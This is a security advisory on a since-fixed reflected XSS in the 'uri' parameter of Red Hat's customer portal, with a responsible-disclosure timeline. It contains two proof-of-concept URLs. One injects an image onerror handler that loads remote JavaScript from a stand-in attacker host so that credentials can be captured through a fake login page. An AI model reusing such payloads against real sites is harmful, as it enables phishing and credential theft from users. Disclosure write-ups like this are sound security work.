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# Exploit Title: access.redhat.com Reflected XSS Credential stealer
# Date: 01/05/2016
# Author: Yann CAM @ Synetis - ASafety
# Vendor or Software Link: www.redhat.com
# Version: /
# Category: Reflected Cross Site Scripting
# Google dork:
# Tested on: RedHat access sub-domain
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RedHat description :
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Red Hat, Inc. is an American multinational software company providing open-source software products to the enterprise community. Founded in 1993, Red Hat
has its corporate headquarters in Raleigh, North Carolina, with satellite offices worldwide.
Red Hat has become associated to a large extent with its enterprise operating system Red Hat Enterprise Linux and with the acquisition of open-source
enterprise middleware vendor JBoss. Red Hat also offers Red Hat Enterprise Virtualization (RHEV), an enterprise virtualization product. Red Hat provides
storage, operating system platforms, middleware, applications, management products, and support, training, and consulting services.
Red Hat creates, maintains, and contributes to many free software projects. It has acquired several proprietary software product codebases through corporate
mergers and acquisitions and has released such software under open source licenses. As of June 2013, Red Hat is the largest corporate contributor to Linux.
Vulnerability description :
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A reflected Cross-Site Scripting vulnerability was identified in the Customer portal "access.redhat.com" without authentication.
Through this vulnerability, an attacker could tamper with page rendering, redirect victims to fake redhat portals, or capture RedHat's customer credentials.
This vulnerable parameter is not properly sanitized before being used in pages.
As demonstration, the RXSS vulnerability is used to create a fake login page identical to the official RedHat Identity Provider (idp.redhat.com) to steal user credential through phishing or spear-phishing campains.
Proof of Concept 1 - access.redhat.com - RXSS alert() canonical :
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A non-persistent XSS (RXSS) in "uri" GET param is available in the access.redhat.com of RedHat.
Tested on Firefox 45.0.2.
PoC:
https://access.redhat.com/downloads/content/error?code=403&uri=</mark><img src=x onerror="alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/)" /><mark>&client=13.37.13.37&edge=13.37.13.37×tamp=1446643590
Proof of Concept 2 - access.redhat.com - RXSS third party script :
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Through this XSS, a malicious user can load a third-party JavaScript file in the access.redhat.com browser's context.
The next payload includes a JavaScript file in the access.redhat.com context to grab all credential in plaintext.
Tested on Firefox 45.0.2.
PoC:
https://access.redhat.com/downloads/content/error?code=403&uri=</mark><img src=x onerror="var s%3Ddocument.createElement('script')%3Bs.setAttribute('src','https://attacker.com/x.js')%3Bdocument.getElementsByTagName('head').item(0).appendChild(s)%3B" /><mark>&client=13.37.13.37&edge=13.37.13.37×tamp=1446643590
Demonstration video :
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- https://www.youtube.com/watch?v=Eb83GDEq9N8
Screenshots :
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- https://www.asafety.fr/data/20151104-RXSS_access.redhat.com_001.png
- https://www.asafety.fr/data/20151104-RXSS_access.redhat.com_002.png
Solution:
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Fixed by RedHat Security Team.
Additional resources :
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- https://www.redhat.com/
- https://access.redhat.com/articles/66234
- http://www.asafety.fr/
- http://www.synetis.com
Report timeline :
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2015-11-04 : RedHat Team alerted with details and PoC.
2015-11-09 : RedHat Team response with thanks.
2015-11-11 : RedHat Team requires some details about the exploitation.
2016-01-16 : New message to RedHat team to get the status of correction
2016-01-18 : Response : issue identified but not fixed yet.
2016-03-17 : Credential Stealer PoC video demonstration created.
2016-03-18 : RedHat Team response with thanks for the PoC, fix currently in testing.
2016-04-25 : Fix seems to be deployed, vulnerabily doesn't work anymore. New message to RedHat to confirm the fix.
2016-04-27 : Confirmation of the fix, aknowledgement released (https://access.redhat.com/articles/66234)
2016-05-01 : Public advisory
Credits :
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Yann CAM - Security Consultant @ Synetis | ASafety
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SYNETIS | ASafety
CONTACT: www.synetis.com | www.asafety.fr